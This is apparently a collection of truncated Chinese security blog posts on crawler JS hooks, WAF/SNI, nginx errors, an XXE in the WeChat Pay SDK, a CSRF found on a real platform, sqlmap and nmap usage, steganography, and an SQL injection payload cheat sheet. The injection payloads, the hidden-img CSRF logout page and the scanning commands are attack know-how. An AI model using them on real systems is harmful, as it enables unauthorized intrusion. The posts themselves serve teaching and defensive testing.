关于爬虫本地JS Hook的研究

0x00 背景介绍 最早的爬虫,只需要能够从服务端获取到HTML代码,进行分析即可,随着Web2.0的普及,越来越多的网站都必须JavaScript解析之后才能正常显示。因此这也对爬虫提出了新的要求,当前前人们已经在爬虫中集成Webkit等框架来满足这样的需求。 本文将从实际漏洞扫描器项目中,爬虫遇到的一个问题作为切入点,简单的介绍一下爬虫过程中一些JavaScript上Mock或者Hook的技巧。 0x01 需求 这里需求主要有两个: 场景一:弹框阻碍流程 在网页中存在alert,prompt等弹出框,如果没有取消会造成webkit某些API运行异常。当前针对alert的情况,通常的框架都提供一些额外的解决方案,比如PhantomJS的onAlert()函数,Selenium的switch_to.alert().accept()。但是我们还是想和场景二一起使用Hook的方法来解决。 场景二:记录指定函数被调用情况 存储型XSS的验证过程通常分为Payload的注入和执行情况验证。作为一款优秀的扫描器(没错,说的就是华为云漏洞扫描服务),注入的Payload一定不能对目标系统有危害,因此我们通常会选用一些温柔的函数,比如console.log,而非alert或者随机不存在的函数。但是当第二次爬虫在爬取过程中,如何统计Payload触发的情况,就会成为一个难题。 0x02 JavaScript Hook 函数的Hook,其实就是在函数被调用前,对函数进行替换。 var old_alert = window.alert; window.alert = function(message){ console.log("receive: " + message); old_alert(message); } 上面的例子是对alert函数增加一个日志打印的功能。 Hook很简单,现在唯一的问题就是要在函数执行之前就进行替换,很多函数是在网页加载中(head部分)或者网页加载完成后立即就执行了,没有空隙给我们替换函数。 0x03 注入实战 PhantomJS 它是基于QT和Webkit的无头(Headless)浏览框架,因为其不依赖Xvfb,资源占用比较小,有段时间非常受大家欢迎。其Project的Owner已经宣布不维护了,现在版本定格在2.1.1。PhantomJS良好的接口,使其能够非常方便的支持JS代码注入。 假如某个网页(http://fake.hack.com/location.html) 会获取地理位置,只有指定位置的用户才会进行下一步处理。 var webPage = require('webpage'); var page = webPage.create(); //页面初始化之前插入一段JS page.onInitialized = function(){ //模拟地理定位. page.injectJs("fake-location.js"); }; fake-location.js的代码也非常简单,内容如下: window.navigator.geolocation = { getCurrentPosition: function (success, failure) { success({ coords: { //模拟华中科技大学产学研基地 latitude: 22.52902, longitude: 113.94376 }, timestamp: Date.

WAF和SNI的前世今生

0x00 背景 近日笔者收到一个WAF旗舰版客户反馈的问题,他们的APP在部分安卓机上无法正常使用,取消WAF后又正常。首先客户的站点是HTTPS的,然后出问题的终端是部分系统版本比较低的安卓手机,这里可以初步判断是因为这部分终端不支持SNI造成的。 SNI具体的内容在第三节中将会详细介绍,请稍等。 0x01 定位 为了验证我们的推断,我在自己模拟器上面安装了客户的APP,针对手机浏览器和APP分别进行抓包,查看SNI的情况。 这里我们模拟器使用的Genymotion,系统采用的安卓5.1.0,大概的截图如下: TIPS:这个模拟器是基于X86架构,跑起来非常快,但是我们目标APP是ARM架构的,直接还不能运行,我们需要安装额外的ARM-Translate的,这个就不在本文中介绍了,后面我会专门有文章来介绍,或者有需要的朋友可以直接联系我。 我们就在宿主机上面用Wireshark抓包即可,抓包过程也非常简单,就是分别使用浏览器打开目标网址和用APP登录,我直接给出抓包截图,我们对比看一下吧。 首先是浏览器的抓包: 后面这个是APP的包 两者区别在于SSL握手时候Client的扩展字段有没有SNI字段。 0x01 SNI介绍 SNI是Server Name Indication的缩写,是为了解决一个服务器使用多个域名和证书的SSL/TLS扩展。它允许客户端在发起SSL握手请求时(客户端发出ClientHello消息中)提交请求的HostName信息,使得服务器能够切换到正确的域并返回相应的证书。 在SNI出现之前,HostName信息只存在于HTTP请求中,但SSL/TLS层无法获知这一信息。通过将HostName的信息加入到SNI扩展中,SSL/TLS允许服务器使用一个IP为不同的域名提供不同的证书,从而能够与使用同一个IP的多个“虚拟主机”更方便地建立安全连接。 SSL握手 HTTPS其实是将HTTP的请求使用TLS加密后使用TCP协议传输给目的方,几者之间的关系如下: TLS加密需要需要在TCP连接建立之后,双方进行SSL握手,协商随机数和证书。大概的过程是这样的: 这里和我们这次文章比较相关的部分就是客户端发送Hello后,服务端返回证书,客户端校验证书有效性。 NGINX反向代理 在现在互联网时代,IP地址越来越紧张,因此我们经常会将多个域名或者网站使用同一台服务器,同一个IP。NGINX通常就是这样的网关。当一个HTTP请求到达时候,NGINX会通过HTTP请求中的Host头来决定转发目的服务器。 NGINX要能够正常的转发,那么它必须能够解析HTTP协议,从上面图中,我们可以看到HTTPS请求中HTTP内容被TLS加密,NGINX在使用前必须进行解密,而解密需要双方协商证书。好的,问题就来了,如果是多个HTTPS网站共享一个IP和端口,SSL握手时候,服务端如何正确选择域名证书传输给客户端呢? 为了解决这个问题在RFC 6066中对TLS的扩展进行了定义,其中就提到了在握手阶段一个server_name的扩展,它的内容就是域名的名字。服务端在接收到含有SNI的Client Hello后,根据其内容,去选择该域名的证书返回给客户端。 因此从上面的解释看出来,这个问题并不是只有WAF才会存在,而是绑定了同一个IP+端口的多个HTTPS网站都会遇到这样的问题。 0x02 APP分析 在上面定位中,我们同一个系统,浏览器携带了SNI,但是客户的APP没有,因此我们决定对客户的APP再进行一轮分析。这里需要使用到JEB工具对客户的APK进行逆向分析。根据activity去查找登录方法所使用HTTP包即可。我们最后定位到MobileHttpClientManager类,实现的代码大致如下: 从代码里面看到,使用的SDK默认的DefaultHttpClient,从相关文章我们知道HttPClient默认是不使用SNI的。 0x02 解决方案 Android 通常情况下,我们可以使用其他默认支持SNI的库,比如URLConnection,OKHttp等 HttpsURLConnection try { URL url = new URL("https://www.huaweicloud.com"); U RLConnection urlConnection = url.openConnection(); HttpsURLConnection connection = (HttpsURLConnection) urlConnection; connection.setRequestProperty("Host", "www.huaweicloud.com"); connection.setHostnameVerifier(new HostnameVerifier() { @Override public boolean verify(String hostname, SSLSession session) { return HttpsURLConnection.

NGINX WAF出现TIME_WAIT问题

0x00 问题描述 近日笔者参与的一款WAF产品,在大流量并发的况下,出现了部分请求500。这里的状态码有两种情况:WAF自身问题产生的内部服务器错误和后端上游服务器产生了内部错误透传过来的。当然这个还是比较好定位,只需要查看一下nginx的error_log即可,由于笔者这面log都是用ELK采集的,因此只需要在Kibana上面查看一下。这里我们看到了如下的错误: 2018/07/10 16:15:28 [xxx] xxxx#0: *xxxxx bind(xxx.xxx.xxx.xxx) failed (98:Address already in use) while connecting to upstream xxxxxxxxxxxxx 当然如果你用上面的一些内容作为关键字去搜索,不管是Google还是百度,搜索出来多半都是在启动时候listen时候bind failed的,和我们情况完全不一致,说明我们这个问题并不是一个常见的问题,也预示着着并不会那么容易解决。 0x01 初步排查 解释这个问题前,我们得说一下Socket的四元组:(源IP,源端口,目的IP,目的端口)。当这个四个元素都已经有Socket占用了,那么新创建的Socket就会失败,这个时候NGINX就会报上面这个错误。 reuseport 看到这里,可能很多同学就会去搜索各种nginx reuseport的文章,那么多半你已经走偏了。虽然reuseport解决不了我们这个问题这里我还是要提一下它的功效。正常情况下,每个NGINX worker都是一个独立的进程,他们监听的套接字都是从master里面fork出来的,那么说白了,他们手上都是同一个套接字,那么有请求来到的时候,这个套接字会通知所有的worker,但最后只能由一个worker来处理新连接,因此中间必然会存在一个竞争锁的过程,性能肯定也会有损耗的。如下图: 当这个选项打开的时候,系统允许多个Socket监听在同一个IP和端口上面,当有新请求到达时候,由内核直接从这些Socket中选择一个来处理,此时套接字和Worker是一一对应的,因此该套接字只会通知到一个Worker,这样有效减少进程间竞争。如下图: 当然使用这个选项是有一些条件的: NGINX版本大于1.9.1 Linux内核版本3.9以后 NGINX中开启相应的配置项 http { server { listen 80 reuseport; server_name localhost; ... } } stream { server { listen 12345 reuseport; ... } } 正解 上面扯得有些多。既然原因不是它,我们继续排查。NGINX作为反向代理服务器,那么它先是作为服务端接收用户的请求,这个时候Socket四元组中目的IP就是我们对外的监听IP,目的端口就是我们监听的端口,而源IP和源端口都是在用户侧,不同的用户就是不同的IP,因此Socket冲突的概率非常之小。NGINX将请求转发给上游服务器的时候,它是作为客户端去请求上游的HTTP服务,那么这个时候Socket四元组中的源IP(NGINX的出口IP),目的IP,目的端口都是固定值,只有源端口可以变化,那么冲突的概率就会非常大了。肯定有朋友会问源端口的取值范围有多大呢? ip_local_port_range 在linux系统中的**/etc/sysctl.conf**文件中有一个选项**net.ipv4.ip_local_port_range**可以决定源端口的取值范围。 默认值是 net.ipv4.ip_local_port_range = 32768 61000 大概有28322个端口可以用,如果这个范围内的某个端口已经被占用,系统在创建Socket的时候会自动跳过,去挑选下一个端口。如果各位朋友想要查看自己系统的配置,可以查看这个配置文件,也可以直接执行如下命令: sysctl -a 如果我们对相关选项做了修改,那么一定记住要执行命令让其生效。

微信支付SDK XXE漏洞简单分析

微信支付商户端Java SDK XXE漏洞说明 0x00 漏洞影响 影响面 微信支付过程中,商家的服务器需要和微信的服务器进行通讯,需要等待微信服务器通知商家交易完成,比如流水等信息,商家提供的这样接口我们称之为微信回调接口。微信官方为了简化开发门槛,提供了JAVA和PHP的SDK。很不幸,JAVA SDK在近日曝出有重大安全问题。 因此使用了该SDK的服务器,都可能被黑客攻击,造成远程命令执行,敏感信息窃取等,此漏洞属于高危级别,请尽快修复。 修复方案 下载并使用最新的JAVA SDK。https://pay.weixin.qq.com/wiki/doc/api/download/WxPayAPI_JAVA_v3.zip 0x01 华为云配套服务 华为云Web应用防火墙 华为云WAF是客户网站和访问者之间一道安全检测卫士,它能够将恶意攻击有效的拦截在客户网站之外。华为云WAF默认支持XXE漏洞攻击的防御拦截。如果有客户来不及修复代码,升级到最新版本,请及时开启WAF防护。 漏洞扫描服务 华为漏洞扫描服务提供了该漏洞的快速一键检测功能,帮助用户检测业务是否受影响。华为云漏洞扫描服务所采用的安全测试用例都是经过精心筛选,对客户的网站和服务器都是没有攻击性。 0x02 漏洞分析 源码讲解 鉴于微信支付官方的github仓库(https://github.com/wxpay/WXPay-SDK-Java)已经删除了,:(。我们就从其他方获取到旧版本的代码,进行对比。 问题出在com.github.wxpay.sdk.WXPayUtil.java文件中,旧代码: /** * XML格式字符串转换为Map * * @param strXML XML字符串 * @return XML数据转换后的Map * @throws Exception */ public static Map<String, String> xmlToMap(String strXML) throws Exception { try { Map<String, String> data = new HashMap<String, String>(); DocumentBuilderFactory documentBuilderFactory = DocumentBuilderFactory.newInstance(); DocumentBuilder documentBuilder = documentBuilderFactory.newDocumentBuilder(); InputStream stream = new ByteArrayInputStream(strXML.getBytes("UTF-8")); org.w3c.dom.Document doc = documentBuilder.

Lua - 编程中几种空值的判断

0x00 背景 最近在写一段nginx+redis的代码,主要基于openresty,其中使用到了lua-resty-redis库。我平时写代码都比较小心,针对外部输入的值一般都会进行异常判断,大概的代码如下: local redis = require "redis" local cjson = require "cjson" --[[省略部分代码]] local ok, err = redis:get("key") if not ok then ngx.log(ngx.ERR, '[ERROR]:', err) return end local data = cjson.decode(ok) 在decode这里出现了错误提示,但是ok并没有为空或者nil,不然代码是走不到这里来。 发现问题后,我们就在前面打印一下ok数据的类型吧,大概的代码如下: ngx.log(ngx.ERR, 'ok type: ', type(ok)) if not ok then end 这个时候我们得到的结果是userdata,这个东西算是一种复杂结构体,一般都是跨语言产生的,比如ffi.C这些。当时我的思路大概也是这样,肯定redis存放的数据是二进制的,但是呀,存放什么数据都是我自己控制的,不可能有什么畸形数据,因此这一点也排除了。最后在自己查看中发现,其实就是这个key不存在。 0x01 分析 既然原因找到了,我们就去看看为什么会这样,主要通过阅读lua-resty-redis的源码: local function _read_reply(self, sock) local line, err = sock:receive() if not line then if err == "timeout" and not rawget(self, "_subscribed") then sock:close() end return nil, err end local prefix = byte(line) if prefix == 36 then -- char '$' -- print("bulk reply") local size = tonumber(sub(line, 2)) if size < 0 then return null end local data, err = sock:receive(size) if not data then if err == "timeout" then sock:close() end return nil, err end local dummy, err = sock:receive(2) -- ignore CRLF if not dummy then return nil, err end return data elseif prefix == 43 then -- char '+' -- print("status reply") return sub(line, 2) elseif prefix == 42 then -- char '*' local n = tonumber(sub(line, 2)) -- print("multi-bulk reply: ", n) if n < 0 then return null end local vals = new_tab(n, 0) local nvals = 0 for i = 1, n do local res, err = _read_reply(self, sock) if res then nvals = nvals + 1 vals[nvals] = res elseif res == nil then return nil, err else -- be a valid redis error value nvals = nvals + 1 vals[nvals] = {false, err} end end return vals elseif prefix == 58 then -- char ':' -- print("integer reply") return tonumber(sub(line, 2)) elseif prefix == 45 then -- char '-' -- print("error reply: ", n) return false, sub(line, 2) else -- when `line` is an empty string, `prefix` will be equal to nil.

Nginx错误码502和504的区别

0x00 前言 某日某B:我们系统出现了504,你赶紧去问问PHP的人有什么错误日志? 某A:我已经问过,PHP的人说没有日志。 某B:PHP那面的人说的话你不要相信,赶紧再去查一遍。 某A:WTF。。。 因此某A很疑惑,为什么NGINX有502和504, 有那些原因导致504, PHP那面有没有日志呢? 0x01 定义 通过阅读nginx的源码,备注:我这里查看的是openresty中nginx-1.11.2的源代码,我们发现502和504的定义。 ngx_http_request.h的130行有如下的代码 #define NGX_HTTP_INTERNAL_SERVER_ERROR 500 #define NGX_HTTP_NOT_IMPLEMENTED 501 #define NGX_HTTP_BAD_GATEWAY 502 #define NGX_HTTP_SERVICE_UNAVAILABLE 503 #define NGX_HTTP_GATEWAY_TIME_OUT 504 #define NGX_HTTP_INSUFFICIENT_STORAGE 507 从字面上面翻译看: 502 错误的网关 504 网关超时 网络上有很多关于这两种错误的解决办法,的确他们说的方法能够解决这两种错误,后面我也会总结一下解决办法。但是没有从源头上说明白为什么NGINX会抛出这样的错误码,还有就是在什么情况下会抛出这样的错误码。 0x02 代码跟踪 为了弄明白什么情况下产生产生这两种错误码,我们继续查看相关的源代码: 在ngx_http_upstream.c的3935行中定义了一个ngx_http_upstream_next static void ngx_http_upstream_next(ngx_http_request_t *r, ngx_http_upstream_t *u, ngx_uint_t ft_type) { //-------------省略代码 switch (ft_type) { case NGX_HTTP_UPSTREAM_FT_TIMEOUT: status = NGX_HTTP_GATEWAY_TIME_OUT; break; case NGX_HTTP_UPSTREAM_FT_HTTP_500: status = NGX_HTTP_INTERNAL_SERVER_ERROR; break; case NGX_HTTP_UPSTREAM_FT_HTTP_403: status = NGX_HTTP_FORBIDDEN; break; case NGX_HTTP_UPSTREAM_FT_HTTP_404: status = NGX_HTTP_NOT_FOUND; break; default: status = NGX_HTTP_BAD_GATEWAY; } //-------------省略代码 } 这段代码的作用是:根据ft_type进行status设置,然后根据相关属性判断是传给下一个upstream还是结束连接ngx_http_upstream_finalize_request。

【漏洞公告】某平台一个有意思的CSRF

0x00 背景 某日在给某集团平台提交报告的时候,出于习惯就想试试这个平台的安全性怎么样。 总的来说,平台前面架设了WAF,一些常规的测试Payload都会被拦截,因此不适合强攻。其实随着安全越来越受重视,很多开发同学的安全意识也越来越高,常见的XSS和SQL注入的错误一般都会再犯。但是对于跨站请求伪造CSRF一般都没有太在意。主要原因是这类漏洞的危害不会像注入那样明显,但是威胁等级并不比它们低。 0x01 案例 前面唠叨了这么多,接下来我们就说说这个具体的例子: 问题接口 我们发现退出登录,这个平台采用的GET请求,同时没有其他防护策略,比如token,比如referer校验。 这个接口存在两个问题: 不规范,我们知道在HTTP语义中,修改用户的登录态写操作要用POST或者PUT,而GET操作主要用于获取资源信息等。至于开发人员为什么要这么做?肯定就是为了图方便。所有违背规范的操作,都是为了主管的便利性。 重要的接口没有进行二次校验。接口功能是正常的,就是清空session中的用户登录态,但是在清除过程中,并没有确认请求是否用户发送的。 假设这个接口地址是:http://security.lxxxxxxxxxxh.com/account/logout ,这样的接口很好找,因为只要有登录态的网站,一般在显眼的地方都会存在这样退出功能的接口。 注入点 现在问题接口找到了,但是我们需要怎样才能诱骗其他用户来触发呢? 第一个办法,也是最简单的,就是找到你的目标用户,然后把URL发给他,等他点击。但是这里有两个明显的问题: SRC平台不是社交网站,一般不提供用户之间交流的渠道,因此我们能否把URL发出去都是一个问题 一个不熟悉的人给你发的URL你会点击么?何况URL名字这么明显,有个logout。 经验告诉我们GET型的CSRF最好的载体是IMG,好处在于隐蔽和简单,整个网页可以显示其他内容,但是其中一个IMG却悄悄的发送一个退出登录的请求。比如: http://www.huangjacky.com/h.html <html> <head> <title>精彩刺激好看的爱情动作片</title> </head> <body> 显示一些吸引用户的内容来吸引和误导用户 <img style="display:none" src=http://security.lxxxxxxxxxxh.com/account/logout> </body> </html> 这样只要将上面的网址配上吸引人的标题就可以发送给其他用户的。 这样做有多个好处: 内容吸引用户,提高用户点击的概率 独立的域名,很多用户都知道跨域保护,不会认为这个网站能影响到我。 但是这样还是不能保证百分百用户点击,也不能保证如何将入口发送给用户的渠道问题。 突破点 这个时候,我们发现平台默认使用的头像是QQ或微信的,但是它提供头像修改功能。头像就是IMG,那么如果设置成功后,平台任意一个显示我们头像的地方都可以触发这个CSRF。安全应急响应平台的管理总要处理我们漏洞吧,漏洞详情页面或者排行榜都可能出现我们的头像,传播渠道也解决了。 那么我们上传图片,然后抓包提交修改那一下,修改POST里面headImg为http://security.lxxxxxxxxxxh.com/account/logout ,修改成功了,亲测成功,等着管理员查看漏洞时候的懊恼的表情吧。 0x02 原理讲解 CSRF全称叫做跨站请求伪造,漏洞的利用主要是诱骗用户在浏览A网站的同时向B网站发送一个特定请求,让B网站去执行相关的操作。 从上面的描述我们可以看出来主要有两点: 从一个网站向另一个网站发送了请求。 在用户不知情的情况下请求发送了。而不是用户再主动进行点击。 有些知识的朋友就会问从一个网站向另外一个网站发送请求不是跨域了么?其实这是你们把跨域知识点弄错了,跨域问题主要存在脚本操作中,比如AJAX请求等。但是对于浏览器的script,img,iframe等标签操作是没有作用。不然CDN怎么能运行?CDN通常来说都是一个独立的域名。当然在现代的浏览器里面,如果网页是HTTPS协议的时候,如果你去请求一个HTTP的资源,这个是会禁止的,因为整个系统的安全性取决于最短的那块木板,如果这个被放行,整个网页HTTPS的作用也无效了。HTML代码因为HTTPS不会被劫持,但是里面嵌入的图片和脚本资源因为是HTTP的,是会被劫持的。 这这种情况下我们推荐开发的同学在编码的时候使用相对协议: <script src=//huangjacky.com/static/js/sec.js></script> <img src=//huangjacky.com/test.png /> 但是为什么我们会遭受到CSRF攻击? 会话保持功能 现在所有的浏览器,为了保持用户浏览时的体验,当用户任何操作的时候,都会带上对应的Cookie。 那么上面例子当中, 我们在请求http://www.huangjacky.com/h.html 的时候,这个时候浏览器会带上本地保持的www.huangjacky.com的Cookie将请求发送给www.huangjacky.com的服务器,这个很好理解。 浏览器渲染得到HTML代码,发现里面有一张图片,就会去请求http://security.lxxxxxxxxxxh.com/account/logout 注意这个时候虽然网页停留在www.

安全工具 - SQLmap的用法

0x00 序言 前一篇文章介绍了nmap的用法, 这次再介绍一个神器, 那就是SQLmap, 它作为SQL注入界自动化检测工具,能够实现高难度漏洞检测, 脱裤等工作,大大减少安全人员的时间. 0x01 用法 拿到一个工具之前,我们可以用过帮助文档查看它一般的用法. 运行以下命令, 可以查看到详细的帮助: sqlmap -hh 目标选定 指定URL sqlmap -u "http://svip.qq.com/abc?d=1" 对指定的URL进行SQL注入检测 指定GOOGLE搜索的关键字 sqlmap -g 'site:"svip.qq.com" filetype:pdf' 对GOOGLE搜索出来的每一页结果中的链接进行SQL注入检测 指定BURP或者WebScarab导出文件 sqlmap -l ./a.log 将BURP等安全抓包工具中导出的需要分析的请求进行SQL注入检测 指定sitemap.xml sqlmap -x "https://m.juzilicai.com/sitemap.xml" 读取指定sitemap.xml文件,并分析其中URL进行SQL注入检测 指定HTTP请求报文 sqlmap -r ./request.txt 这个是sqlmap最简单的, 也是最好用的一个用法, sqlmap会去读取这个HTTP请求文件, 从文件中提取出所有HTTP请求相关的参数进行填充, 这样可以为了省去很多参数的配置. 指定多个请求 sqlmap -m ./multi.txt 从文件中读取多个请求进行SQL注入检测 请求相关的参数 指定请求方式 sqlmap -u "http://db.qq.com/test" --method POST 使用POST请求对URL进行SQL检测 指定请求的内容 sqlmap -u "http://db.qq.com/test" --method POST --data "a=1&b=2" 向指定URL通过POST发送data数据,并且对相关参数进行SQL注入检测, data通常用在POST和PUT请求中 指定Cookie sqlmap -u "http://db.

安全工具 - nmap用法

0x00 序言 工欲善其事, 必先利其器. 当然这系列的文章都是偏入门级的, 主要是方便我自己熟悉相关的工具, 以及日后使用过程中, 自己有个地方作为参考. nmap作为安全圈的神器, 在黑客帝国里面也有露面, 因此你可以想象到它的用途了吧 0x01 用法 扫描目标 nmap接受的输入可以有单IP,域名,网段和IP列表文件. # 扫描单个ip nmap 127.0.0.1 # 扫描一个ip端 nmap 192.168.2.1-25 # 扫描一个子网段 nmap 192.168.2.0/24 # 扫描一个域名 nmap www.test.com # 扫描文件列表中IP nmap -iL ips.txt # 排除指定ip, 不扫描192.168.3.1 nmap 192.168.3.0/24 --exclude 192.168.3.1 端口选项 默认nmap会扫描1000个端口, 但是可以用过-p参数来设置. # 扫描常见的100哥端口, 快速扫描模式 nmap -F 192.168.3.1 # 扫描指定端口, 可以使单个也可以是多个 nmap -p22,23,443 192.168.3.1 # 扫描所有端口1-65535 nmap -p- 192.168.3.1 主机发现 nmap在对主机进行扫描前, 通常会通过ping命令来发现主机是否存活, 主要用来优化扫描速度. 目前很多服务器都屏蔽了ping包, 因此这里可能造成一定的误报. -sP 通过ping来发现主机

开源中国Pages自动发布小介绍

介绍

开源中国也开启pages的功能,支持静态写博.和github.io稍微有一些不同的是,开源中国可以指定仓库中某一个分支为pages所使用的. 而我们使用工具主要是hugo, 它可以自动将一些markdown文件和主题一起生成我们所看到的博客的静态html页面.

分支介绍

那么我们博客就采用master和blogs两个常驻分支:

master

主要存放原始markdown和hugo所需要的文件.每个作者写完自己的文章之后都需要合并到master分支上.

blogs

这个分支被pages所采用,主要是hugo程序生成后html等文件,因此都是程序自动生成,不需要手动编辑此分支中任意文件

huangjacky, yoyoyang

这些都是每一个作者自己的分支, 方便作者在不同电脑上面协作.

自动发布介绍

发表文章正常的流程是:

  1. 获取最新的master分支, 这里有所有人的文章
  2. 使用hugo生成整站pages的html
  3. 将生成的html提交到blogs分支中.

这里可能会比较繁琐了.正常的作者需要 提交修改到自己分支, 合并到master, 使用hugo生成最新的pages, 提交到blogs分支.

由于开源中国提供push的hook,当每一个分支有人push的时候,可以向指定接口发送一个post请求, 那么从上面三个步骤中第一步之后都可以程序自动实现, 每个作者只需要如何合并自己的分支到master中就好了.

自动发布博客的程序主要实现以下几个功能:

  1. 接口判断post过来数据是否为push hook,同时判断ref是否为master分支
  2. 本地仓库执行git pull origin master, 拉取最新的master分支
  3. 本地执行hugo build
  4. 切换到pages目录, 执行 git push origin blogs

一切就搞定,整个流程中将无需人为参与部分都自动化,减少工作量.

图片隐写术介绍

隐写术是将文本或者文件隐藏到图片文件中,从而实现信息的屏蔽. 本文主要介绍关于Python的steganography包以及相关的用法,以及编程中使用说明 安装 pip install steganography 用法 命令行 steganography包安装之后,命令行中会存在一个steganography的可执行脚本. 加密 steganography -e 原始图片 加密后的图片 "加密的文本" 加密 steganography -d 加密后的图片 代码引用 from steganography.steganography import Steganography # hide text to image path = "/tmp/image/input.jpg" output_path = "/tmp/image/output.jpg" text = 'The quick brown fox jumps over the lazy dog.' Steganography.encode(path, output_path, text) # read secret text from image secret_text = Steganography.decode(output_path) 以后都这样尝试了. 后续 在使用过程中,发现如果是windows存进去的中文文本解码之后可能会存在乱码的情况,这个就是编码的问题了,而且存入的内容没有经过加密的内容直接存入还是不安全. 经过以上分析,我决定自己重写一个脚本. 内容如下: #! /usr/local/bin/python # -*- coding:utf-8 -*- import sys from steganography.

SQL注入

SQL注入

手工党

boolean型盲注

'
--
' or '1'='1
id=2 and substring(username,1,1)='y' and '1'='1
id=2 and ascii(substring(username,1,1))=65 and '1'='1
id=2 and length(usernam)=5 and '1'='1


时间盲注

id=2 and if(version() like '5%',sleep(100),'false'))--

union联合查询

#union联合查询时,查询列数要一致
union select 1,1,1--
union select version(),1,1--

工具党

sqlmap

sqlmap支持五种不同的注入模式

  1. 基于Boolean型的盲注
  2. 基于时间的盲注
  3. 联合查询注入
  4. 基于报错注入
  5. 堆查询注入

phantomjs - 支持地理位置API

目前phantomjs并不支持GeolocationAPI,但是我们可以手动编写一个js文件, 用自己的代码实现常见的Geolocation API.

var webPage = require('webpage');
var page = webPage.create();
//TODO other codes
//初始化之前插入一些常用js utils
page.onInitialized = function(){
    //模拟地理定位.
    page.injectJs("fake-location.js");
};

fake-location.js的代码也比较简单:

/**
 * @author huangjacky
 * @desc 模拟实现浏览器的获取地理位置的api
 */

window.navigator.geolocation = {
    getCurrentPosition: function (success, failure) {
        success({
            coords: {
                //模拟华中科技大学产学研基地
                latitude: 22.52902,
                longitude: 113.94376
            }, timestamp: Date.now()
        });
    },
    watchPosition: function(success, failure){
        success({
            coords: {
                //模拟华中科技大学产学研基地
                latitude: 22.52902,
                longitude: 113.94376
            }, timestamp: Date.now()
        });
    }
};

SQL中显示所有相同的记录

select * from t_cgi
	 WHERE (cHost,cUri) in (
		select cHost,cUri from t_cgi GROUP BY cHost,cUri HAVING COUNT(cHash)> 1
	) ORDER BY CONCAT(cHost,cUri)

因为需要统计,所以必须要用GROUP BY, 然后用HAVING COUNT进行判断数据记录数, 这里有一个问题,就是因为是两个字段,所以在获取时候的WHERE IN需要用括号括起来. 附录:表结构

CREATE TABLE t_cgi(
  cHash CHAR(32) UNIQUE,
  cHost VARCHAR(32) NOT NULL ,
  cUri VARCHAR(64) NOT NULL DEFAULT '/',
  cRaw TEXT ,
  cTime TIMESTAMP NOT NULL DEFAULT CURRENT_TIMESTAMP,
  PRIMARY KEY (cHash)
)